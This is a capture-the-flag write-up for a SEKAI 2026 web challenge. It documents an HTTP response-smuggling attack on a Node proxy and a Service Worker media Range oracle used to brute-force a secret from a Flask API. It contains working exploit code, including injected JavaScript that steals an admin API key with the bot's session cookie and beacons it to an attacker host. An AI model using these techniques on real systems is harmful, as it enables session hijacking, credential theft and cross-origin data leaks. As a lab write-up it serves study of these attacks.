$ cat writeup.md…
$ cat writeup.md…
sekai2026
Task: a Node proxy, Flask API, and Puppeteer bot expose an admin API key and a Range-enabled inbox search. Solution: desync a script response for same-origin JS, then use a Service Worker media Range oracle to brute-force the flag.
EnD BLOCK BLOCK BLOCK BLOCK
English summary: the challenge provided a Node.js proxy, an internal Flask API, and a Puppeteer admin bot. The goal was to recover the secret stored in the API inbox, which was also the flag.
The deployment had three relevant components:
localhost:3000.localhost:9090.The proxy's /admin page is only visible to the bot and embeds the API URL and API key:
function renderAdmin() { return ADMIN_HTML .replace('{{API_URL}}', esc(API_URL)) .replace('{{API_KEY}}', esc(API_KEY)) }
The API contains the flag in _INBOX and implements a prefix search:
_SECRET = os.environ["OAUTH_SECRET"] _API_KEY = hmac.new(_SECRET.encode(), b"api-auth", "sha256").hexdigest()[:16] _INBOX = [_SECRET] @app.route("/messages/search") def search(): if not hmac.compare_digest(request.args.get("key", ""), _API_KEY): return jsonify({"error": "Unauthorized"}), 401 q = request.args.get("q", "") results = [m for m in _INBOX if m.startswith(q)] data = json.dumps({"results": results}).encode() return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)
The important detail is conditional=True: Flask/Werkzeug supports Range requests for this in-memory file.
The bot makes the submitted HTTP origin a secure context:
args.push(`--unsafely-treat-insecure-origin-as-secure=${httpOrigins.join(',')}`)
This allowed registering a Service Worker on the attacker-controlled HTTP origin.
The proxy blocks attacker-controlled scripts by rewriting proxied responses requested as scripts:
if (req.headers['sec-fetch-dest'] === 'script') { h['content-length'] = '0' delete h['transfer-encoding'] } res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h) proxyRes.pipe(res)
The header rewrite says the response body is empty, but the upstream body is still piped to the HTTP/1.1 connection. Those extra bytes can be shaped as a second raw HTTP response. A later pending browser request on the same connection can consume that smuggled response.
Reliability required connection-pool pressure. A page registered with /add and opened under /view/<name>/ loaded many relative async script URLs:
<script async src="s0.js?..."></script> <script async src="s1.js?..."></script> ...
The URLs must be relative (s0.js), not absolute (/s0.js), so that they stay below /view/<name>/s0.js and are proxied through the vulnerable proxy route.
One upstream script endpoint returned a body that was itself a raw JavaScript HTTP response. The outer response used a matching Content-Length, flushed headers, waited briefly, and then wrote the fake response bytes:
def admin_stealing_js(public): return f""" (async()=>{{ try {{ const html = await (await fetch('/admin', {{credentials:'include'}})).text(); const key = (html.match(/id=["']api-key["'][^>]*>([^<]+)/)||[])[1] || ''; const api = (html.match(/id=["']api-url["'][^>]*>([^<]+)/)||[])[1] || ''; (new Image()).src = {public!r} + '/leak?key=' + encodeURIComponent(key) + '&api=' + encodeURIComponent(api) + '&t=' + Date.now(); }} catch(e) {{ (new Image()).src = {public!r} + '/err?e=' + encodeURIComponent(String(e)); }} }})(); """.encode() def fake_response(public): body = admin_stealing_js(public) return (b"HTTP/1.1 200 OK\r\n" b"Content-Type: application/javascript\r\n" b"Content-Length: " + str(len(body)).encode() + b"\r\nConnection: keep-alive\r\n\r\n" + body) # Inside the malicious upstream handler for /s6.js: payload = fake_response(public) send_response(200) send_header('Content-Type', 'text/plain') send_header('Content-Length', str(len(payload))) send_header('Expect', '100-continue') end_headers() wfile.flush() time.sleep(0.5) wfile.write(payload)
The smuggled JavaScript executed as same-origin script on http://localhost:3000, fetched /admin with the bot's cookie, parsed #api-key and #api-url, and exfiltrated them through an image beacon. Image exfiltration was necessary because the CSP allowed img-src *, while outbound fetch() was blocked by default-src 'self'.
The live values recovered were:
API key: 37e81eb38cafce6d API URL: http://localhost:9090
The API did not allow CORS, so same-origin JavaScript from the proxy could not directly read http://localhost:9090/messages/search. However, the search endpoint's response size leaked whether a prefix matched:
{"results": []} has length 15.{"results": ["SEKAI{...}"]} is longer.Therefore, with Range: bytes=16-:
206 Partial Content.416 Range Not Satisfiable.Normal cross-origin resources did not expose this distinction. The working oracle used Chromium's handling of media Range requests plus Service Worker opaque response replay.
The key discovery was that the second Range request must be generated by Chromium itself. Do not synthesize it with:
new Request(apiUrl, {headers: {Range: 'bytes=16-'}})
That loses Chromium's internal Range-request state and makes the oracle useless. Instead, point a media element directly at the cross-origin API URL. The Service Worker intercepts the real media request sequence:
Range: bytes=0- for the API URL.206 containing 16 bytes and Content-Range: bytes 0-15/13337.Range: bytes=16-, to the same cross-origin API URL.fetch(e.request) exactly and stores the opaque response.fetch('/mock.css', {mode:'no-cors'}) gives a boolean:
416 miss resolves.206 hit rejects with a network error.Minimal Service Worker logic:
let cfg = {size: 16}; let stored = null; self.addEventListener('install', e => self.skipWaiting()); self.addEventListener('activate', e => e.waitUntil(self.clients.claim())); self.onmessage = e => { cfg = e.data || cfg; stored = null; }; function fake206() { const size = Number(cfg.size || 16); return new Response(new Uint8Array(size), { status: 206, headers: { 'Content-Type': 'audio/mp4', 'Content-Range': `bytes 0-${size - 1}/13337`, 'Content-Length': String(size) } }); } self.onfetch = e => { const u = new URL(e.request.url); const range = e.request.headers.get('range') || ''; const size = Number(cfg.size || 16); if (range === 'bytes=0-') { return e.respondWith(fake206()); } if (range === `bytes=${size}-`) { return e.respondWith((async () => { // Critical: preserve Chromium's internal media Range request state. stored = await fetch(e.request); return stored.clone(); })()); } if (u.pathname === '/mock.css' && stored) { return e.respondWith(stored.clone()); } };
The probing page used an <audio> element for each candidate prefix:
async function probe(q) { const size = 16; navigator.serviceWorker.controller.postMessage({api, key, q, size}); await sleep(50); await new Promise(resolve => { const url = api.replace(/\/$/, '') + '/messages/search?key=' + encodeURIComponent(key) + '&q=' + encodeURIComponent(q) + '&r=' + Math.random(); const a = new Audio(url); a.preload = 'auto'; a.onerror = resolve; a.onabort = resolve; document.body.appendChild(a); try { a.load(); } catch(e) { resolve(); } setTimeout(resolve, 2500); }); try { await fetch('/mock.css?' + Math.random(), {mode: 'no-cors'}); return false; // miss: stored 416 replay resolves } catch(e) { return true; // hit: stored 206 replay rejects } }
Then the flag was recovered one character at a time:
let pref = 'SEKAI{'; const alphabet = 'SEKAI{}_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_$!@#%&*()+,./:;<=>?[]^`|~'; for (;;) { let advanced = false; for (const ch of alphabet) { const q = pref + ch; if (await probe(q)) { pref = q; leak('pref:' + pref); advanced = true; break; } } if (!advanced || pref.endsWith('}')) break; }
Because the bot session timed out, the oracle was restarted with the last known prefix several times. Intermediate recovered prefixes included:
SEKAI{REDACTED... SEKAI{REDACTED...
The final recovered flag was:
SEKAI{REDACTED}
/admin laundering, API resource XS-leaks, and CVE-2023-4357-style ideas did not yield a complete leak.fetch(e.request) on Chromium's own second media Range request was required.$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar